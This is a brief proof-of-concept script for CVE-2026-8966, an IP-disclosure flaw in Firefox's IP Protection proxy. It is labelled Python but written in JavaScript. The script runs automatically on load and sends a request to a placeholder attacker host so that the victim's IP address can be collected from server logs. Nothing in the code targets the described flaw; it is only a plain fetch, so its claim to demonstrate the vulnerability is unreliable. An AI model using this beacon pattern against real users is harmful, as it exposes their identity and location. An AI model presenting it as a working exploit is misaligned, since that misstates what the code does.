The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-8966
// This script demonstrates a potential method to verify the IP disclosure vulnerability.
// It attempts to trigger the IP Protection component flaw in Firefox < 151.
function initiateLeakTest() {
// Target URL controlled by attacker to capture headers/IPs
const targetUrl = 'https://attacker-controlled.example/collect';
// In a vulnerable version, the IP Protection proxy might fail to mask the source IP
// or leak it via specific headers when fetching this resource.
fetch(targetUrl, {
method: 'GET',
headers: {
'X-CVE-Test': 'CVE-2026-8966'
}
})
.then(response => {
console.log('[+] Request sent. Check server logs for disclosed IP address.');
})
.catch(error => {
console.error('[-] Request failed:', error);
});
}
// Auto-execute on load
initiateLeakTest();